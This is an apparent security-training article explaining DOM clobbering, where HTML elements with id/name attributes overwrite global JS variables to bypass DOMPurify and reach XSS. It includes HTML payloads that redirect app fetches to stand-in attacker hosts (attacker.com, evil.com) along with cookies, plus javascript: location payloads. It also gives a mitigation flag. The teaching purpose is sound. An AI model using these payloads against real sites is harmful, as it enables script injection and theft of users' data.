Advanced levelPremium

DOM clobbering — overriding global JS variables to bypass sanitizers

How to use DOM clobbering (name/id collisions) to overwrite global JS variables and bypass sanitizers like DOMPurify, achieving XSS where innerHTML is blocked by default.

Gorka El BochiMay 11, 202614 min

Quick answer

DOM clobbering takes advantage of the fact that HTML elements with an id or name are automatically exposed as properties of document and window. If an app reads window.config.apiBase or document.foo.bar expecting a JS object, the attacker can inject <form id="config"><input name="apiBase" value="https://evil.com"> and the access via property lookup returns the HTMLElement as if it were the expected object. It allows bypassing sanitizers (DOMPurify by default allows name/id attributes) and HTML-only injection that escalates to JS execution.


The base mechanism

The HTML5 spec declares that, for compatibility with legacy code, elements with an id or name are exposed in the global scope:

html
<div id="myVar"></div>
javascript
console.log(window.myVar);  // HTMLDivElement
console.log(myVar);          // Same, sin prefijo window

If two elements have the same id, JS returns an HTMLCollection:

html
<a id="link"></a>
<a id="link"></a>
javascript
window.link;  // HTMLCollection [a, a]

And inside a <form>, the <input name="foo"> are exposed as properties of the form:

html
<form id="config">
  <input name="apiBase" value="https://attacker.com">
</form>
javascript
window.config.apiBase;  // HTMLInputElement
window.config.apiBase.value;  // "https://attacker.com"

When the app coerces this to a string (concat, template literal, fetch), the browser calls toString(), which returns the value attribute for <input> or the href for <a>.


Basic vulnerable pattern

javascript
// App busca window.config (espera objeto JS)
if (window.config && window.config.apiBase) {
  fetch(window.config.apiBase + '/data');
}

If the attacker can inject HTML only (no <script>), they wouldn't need JS execution. Just:

html
<a id="config"></a>
<a id="config" name="apiBase" href="https://attacker.com//"></a>

window.config resolves to an HTMLCollection with two <a>. Property access .apiBase searches by name → the second <a>. Coerce to a string → the href. Result: the app does fetch('https://attacker.com//data') with the user's cookies.


Clobberable elements — reference table

ElementtoString() returnsProperty exposure
<a id="x" href="URL">The href URLwindow.x
<area id="x" href="URL">The href URLwindow.x
<form id="x"><input name="y">[object HTMLFormElement]window.x.y = input element
<iframe id="x" src="URL">The src URLwindow.x (the iframe's Window object)
<img id="x" src="URL">The src URLwindow.x
<object id="x" data="URL">The data URLwindow.x
<embed id="x" src="URL">The src URLwindow.x
<base href="URL">n/aChanges the relative base URL

Anchor tag — the most versatile clobber

<a> makes its toString() return the href:

html
<a id="x" href="https://attacker.com"></a>
javascript
String(window.x);  // "https://attacker.com"
window.x + '';      // "https://attacker.com"
`${window.x}`;     // "https://attacker.com"

Any sink that concatenates or uses a template literal with window.x now redirects to attacker.com.

Useful variants

html
<!-- href con javascript: para sinks que asignan a location -->
<a id="redirect" href="javascript:alert(1)"></a>

If the app does location = window.redirect, it triggers XSS (the "soft" location sink accepts javascript:).

html
<!-- Form con múltiples inputs para construir objeto multi-prop -->
<form id="settings">
  <input name="theme" value="dark">
  <input name="apiUrl" value="https://evil.com">
  <input name="onError" value="ATTACKER_FUNC">
</form>

If the app reads window.settings.theme, .apiUrl, .onError → all clobbered.


Sanitizer bypass — DOMPurify default config

DOMPurify by default allows id and name attributes because they are legitimate HTML attributes (not executable handlers). Without <script> or handlers, sanitization detects nothing dangerous. But the elements stay alive in the DOM and available to clobber:

javascript
const dirty = `<form id="config"><input name="apiBase" value="javascript:alert(1)">`;
const clean = DOMPurify.sanitize(dirty);
console.log(clean);
// → <form id="config"><input name="apiBase" value="javascript:alert(1)">
//
// DOMPurify NO bloquea esto. No hay tags ejecutables ni handlers.
// Pero al insertarlo, window.config.apiBase ahora es controlado por atacante.

document.body.innerHTML = clean;

// Cualquier código posterior que lea window.config.apiBase está pwned
location = window.config.apiBase;  // → javascript:alert(1)

Correct mitigation

DOMPurify has the SANITIZE_DOM: true config (default) and SANITIZE_NAMED_PROPS: true (not default until v3.x). Enable:

javascript
DOMPurify.sanitize(dirty, { SANITIZE_NAMED_PROPS: true });

This prefixes the id/name with user-content-, avoiding collisions with globals. But most apps do NOT enable this flag because they don't know about it.

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Practice this in a lab

Dom Clobbering

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

hunters training
711

hunters training

labs from real reports
55

labs from real reports

completions
1,205

completions

in bounties practiced
$213,970

in bounties practiced

46 flags captured this week·Real reports from HackerOne · Bugcrowd · Intigriti·No commitment·Free Academy